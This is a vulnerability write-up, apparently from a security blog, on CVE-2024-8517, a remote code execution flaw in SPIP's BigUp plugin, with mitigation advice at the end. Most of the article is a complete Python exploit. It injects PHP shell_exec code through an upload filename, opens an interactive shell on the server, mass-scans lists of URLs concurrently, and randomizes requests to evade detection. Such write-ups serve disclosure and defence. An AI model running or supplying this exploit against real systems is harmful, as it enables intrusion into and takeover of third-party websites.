CVE-2024-8517: SPIP Remote Code Execution Vulnerability

2024-10-13
Kamran Hasan
CVE-2024-8517
CVE-2024-8517 exploit
CVE-2024-8517 RCE
SPIP RCE
Exploit SPIP
Hack SPIP
SPIP vulnerability
SPIP remote code execution
content management system vulnerability
SPIP security
CVE-2024-8517: SPIP Remote Code Execution Vulnerability

Understanding the Vulnerability

CVE-2024-8517 is a critical remote code execution (RCE) vulnerability affecting SPIP, a popular content management system (CMS). This vulnerability allows an attacker to execute arbitrary code on a vulnerable SPIP instance, potentially leading to complete system compromise.

Root Cause Analysis

The vulnerability stems from the improper handling of uploaded files in SPIP's BigUp plugin. Specifically, the issue lies in the way the plugin processes files uploaded through its file manager interface. Under certain conditions, an attacker can craft a specially formatted file that, when uploaded, can be exploited to execute arbitrary code on the server.

Exploitation Vector

The primary exploitation vector for this vulnerability involves uploading a malicious file to the SPIP instance. This file can be a seemingly safe image or document, but it contains malicious code that is executed when the file is processed by SPIP.

Proof of Concept

For a PoC, we will go through the process to set up a SPIP instance vulnerable to the BigUp plugin exploit in our local environment. This will first involve fetching the set up files, we can do it by running:

curl -O https://files.spip.net/spip/archives/spip-v4.3.1.zip
mkdir spip_test && cd spip_test
unzip ../spip-v4.3.1.zip

Now from within the spip_test directory, we can start the PHP dev server:

php -S 0.0.0.0:8000

This will make the SPIP site available at http://localhost:8080 but we still need to complete the installation. Open a web browser and navigate to http://localhost:8080/ecrire. Then follow the on-screen prompts to complete the SPIP installation like choosing the language, setting up a database (any MySQL instance would work just fine) and finally creating the admin account.

That's all we need to set up the vulnerable target for our PoC attack.

To exploit this vector on the target we have set up, here's the script we are going to utilize to check if the target is vulnerable and get a shell in case it is:

import sys
import base64
import random
import string
import requests
import concurrent.futures
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from alive_progress import alive_bar
import typer
from rich import print as rprint
from rich.prompt import Prompt
from fake_useragent import UserAgent

# Suppress insecure request warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

class SPIPVulnerabilityScanner:
    def __init__(self, target: str, verbose: bool = True, proxy: str = None):
        self.target = target
        self.verbose = verbose
        self.proxies = {"http": proxy, "https": proxy} if proxy else None
        self.user_agent = UserAgent().random
        self.headers = {"User-Agent": self.user_agent}

    def log(self, message: str, status: str) -> None:
        status_icons = {
            "success": "🟢",
            "error": "🔴",
            "warning": "🟠",
            "info": "🔵"
        }
        icon = status_icons.get(status, "❓")
        rprint(f"{icon} {message}")

    def get_form_data(self):
        parsed_url = urlparse(self.target)
        base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        potential_pages = [parsed_url.path.strip('/'), 'login', 'spip_pass', 'contact']

        for page in potential_pages:
            url = urljoin(base_url, f"spip.php?page={page}")
            try:
                response = requests.get(url, headers=self.headers, proxies=self.proxies,
verify=False, timeout=5)
                if response.status_code != 200:
                    continue

                soup = BeautifulSoup(response.text, "html.parser")
                action = soup.find("input", {"name": "formulaire_action"})
                args = soup.find("input", {"name": "formulaire_action_args"})

                if action and args:
                    return {"action": action["value"], "args": args["value"]}

            except requests.RequestException as e:
                if self.verbose:
                    self.log(f"Failed to fetch form data from {page}: {str(e)}", "error")
        return None

    def execute_command(self, form_data: dict, command: str):
        boundary = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
        random_field = ''.join(random.choices(string.ascii_lowercase, k=8))
        random_file = ''.join(random.choices(string.ascii_lowercase, k=8))

        payload = f'header("X-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))'
        payload = payload.replace('"', '\\"')

        form = [
            f'--{boundary}',
            f'Content-Disposition: form-data; name="formulaire_action"\r\n',
            f'{form_data["action"]}',
            f'--{boundary}',
            f'Content-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n',
            '1',
            f'--{boundary}',
            f'Content-Disposition: form-data; name="{random_field}[\' . {payload} . exit() . \']"; filename="{random_file}"',
            'Content-Type: text/plain\r\n',
            'Dummy content',
            f'--{boundary}',
            f'Content-Disposition: form-data; name="formulaire_action_args"\r\n',
            f'{form_data["args"]}',
            f'--{boundary}--'
        ]

        body = '\r\n'.join(form)
        headers = self.headers.copy()
        headers['Content-Type'] = f'multipart/form-data; boundary={boundary}'

        try:
            response = requests.post(self.target, data=body, headers=headers,
proxies=self.proxies, verify=False, timeout=5)
            if response.status_code == 200:
                output = response.headers.get('X-Output')
                if output:
                    return base64.b64decode(output).decode()
        except requests.RequestException:
            pass
        return None

    def check_vulnerability(self):
        form_data = self.get_form_data()
        if not form_data:
            return False, None

        encoded_cmd = base64.b64encode("whoami".encode()).decode()
        output = self.execute_command(form_data, encoded_cmd)
        return (True, output) if output else (False, None)

    def interactive_shell(self):
        form_data = self.get_form_data()
        if not form_data:
            self.log("Unable to retrieve form data", "error")
            return

        self.log("Interactive shell started. Type 'exit' to quit.", "info")
        while True:
            cmd = Prompt.ask("[bold yellow]$[/bold yellow]")
            if cmd.lower() == 'exit':
                self.log("Exiting shell", "info")
                break
            if cmd.lower() == 'clear':
                typer.clear()
                continue

            output = self.execute_command(form_data,
base64.b64encode(cmd.encode()).decode())
            if output:
                print(output)
            else:
                self.log("No response from server", "error")

def scan_url(url: str, proxy: str):
    scanner = SPIPVulnerabilityScanner(url, proxy=proxy)
    is_vulnerable, output = scanner.check_vulnerability()
    if is_vulnerable:
        scanner.log(f"Vulnerable: {url}", "success")
        if output:
            scanner.log(f"Command output: {output}", "info")
        return url
    return None

def main(
    url: str = typer.Option(None, "--url", "-u", help="Target URL for scanning"),
    file: str = typer.Option(None, "--file", "-f", help="File with list of URLs to scan"),
    threads: int = typer.Option(50, "--threads", "-t", help="Number of concurrent threads"),
    output: str = typer.Option(None, "--output", "-o", help="Output file for vulnerable URLs"),
    proxy: str = typer.Option(None, "--proxy", help="Proxy for requests (e.g.,
http://localhost:8080)")
):
    if url:
       scanner = SPIPVulnerabilityScanner(url, proxy=proxy)
        vulnerable, cmd_output = scanner.check_vulnerability()
        if vulnerable:
            scanner.log(f"Target is vulnerable! Output: {cmd_output}", "success")
            scanner.interactive_shell()
        else:
            scanner.log("Target is not vulnerable or exploit failed", "error")
    elif file:
        with open(file, "r") as f:
            urls = [line.strip() for line in f if line.strip()]

        vulnerable_urls = []
        with alive_bar(len(urls)) as bar:
            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                future_to_url = {executor.submit(scan_url, url, proxy): url for url in urls}
                for future in concurrent.futures.as_completed(future_to_url):
                    result = future.result()
                    if result:
                        vulnerable_urls.append(result)
                    bar()
        if output and vulnerable_urls:
            with open(output, "w") as f:
                for url in vulnerable_urls:
                    f.write(f"{url}\n")
    else:
        typer.echo("Please provide either a URL or a file containing URLs.")

if __name__ == "__main__":
    typer.run(main)

The above script leverages the vulnerability to achieve remote code execution on vulnerable SPIP instance. Here's a breakdown of its key components:

  • Target Identification:

    • The script targets SPIP CMS installations, specifically versions up to 4.3.1.

  • Form Data Retrieval:

    • The get_form_data method attempts to find a form on various pages of the target site.

    • It looks for two specific form inputs: formulaire_action and formulaire_action_args.

    • These inputs are crucial for crafting the exploit payload.

  • Payload Construction:

    • The exploit uses a specially crafted multipart form-data request.

    • A malicious PHP code snippet is injected into the filename of an uploaded file.

    • The payload uses PHP's header function to exfiltrate command execution results.

  • Command Execution:

    • The injected PHP code uses shell_exec to run system commands.

    • Commands are base64 encoded to avoid potential escaping issues.

    • Output is captured and returned via a custom HTTP header (X-Output).

  • Vulnerability Check:

    • The script first attempts to run whoami to verify if the target is vulnerable.

    • If successful, it confirms the ability to execute arbitrary commands.

  • Interactive Shell:

    • Once vulnerability is confirmed, an interactive shell is provided.

    • Each command entered is sent to the server using the same exploit mechanism.

    • Responses are decoded and displayed to the user.

  • Mass Scanning:

    • The script can scan multiple URLs concurrently using Python's ThreadPoolExecutor.

    • Each URL is checked for vulnerability independently.

  • Evasion Techniques:

    • Random boundaries and field names are used in the multipart form to avoid detection.

    • User-Agent strings are randomized to mimic legitimate browser requests.

  • Output Handling:

    • Command output is base64 encoded and transmitted via HTTP headers.

    • This method bypasses potential output filtering or encoding issues on the server.

We can simply execute it providing the target as an argument and if our hosted instance is vulnerable it should get us the interactive bash shell.

Impact

The potential impact of this vulnerability is severe. A successful exploitation could allow an attacker to:

  • Gain unauthorized access to the SPIP instance and its underlying system.

  • Steal sensitive data, such as user credentials, financial information, or intellectual property.

  • Install malware or ransomware to further compromise the system.

  • Take control of the website and use it as a platform for malicious activities, such as spreading spam or hosting phishing attacks.

Mitigation Strategies

To mitigate the risk of exploitation, SPIP users should take the following steps:

  • Apply the Patch: The most effective way to protect against this vulnerability is to install the official patch released by SPIP. This patch addresses the underlying issue and prevents the exploitation of the vulnerability.

  • Upgrade to a Supported Version: Ensure that your SPIP installation is running a supported version. Older versions may not have received the necessary security updates.

  • Restrict File Uploads: Implement strict file upload policies to minimize the risk of malicious files being uploaded. Consider limiting the types of files that can be uploaded and scanning all uploaded files for malware.

  • Regular Security Updates: Keep your SPIP installation and all associated components up-to-date with the latest security patches. This will help protect against new vulnerabilities that may be discovered in the future.

  • Implement Strong Security Practices: Follow best practices for web application security, such as using strong passwords, enabling two-factor authentication, and regularly monitoring system logs for suspicious activity.

Defensive Measures

In addition to the mitigation strategies outlined above, organizations should also consider:

  • Regular Vulnerability Scanning: Conduct regular vulnerability scans to identify potential vulnerabilities in their SPIP installations.

  • Security Training: Educate staff on the importance of security best practices, including safe browsing habits and password management.

  • Incident Response Planning: Develop a comprehensive incident response plan to effectively handle security breaches and minimize their impact.

Conclusion

CVE-2024-8517 is a critical vulnerability that poses a significant threat to SPIP-powered websites. By understanding the root cause and implementing the recommended mitigation strategies, organizations can protect their systems from exploitation and minimize the potential impact of this vulnerability.

CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
2024-09-10
Kamran Hasan
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
2024-08-16
James McGill
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
2024-07-30
James McGill
Python-JOSE Security Risk: CVE-2024-33663 Explained
Python-JOSE Security Risk: CVE-2024-33663 Explained
2024-07-21
James McGill
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
2024-07-21
James McGill
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
2024-06-13
James McGill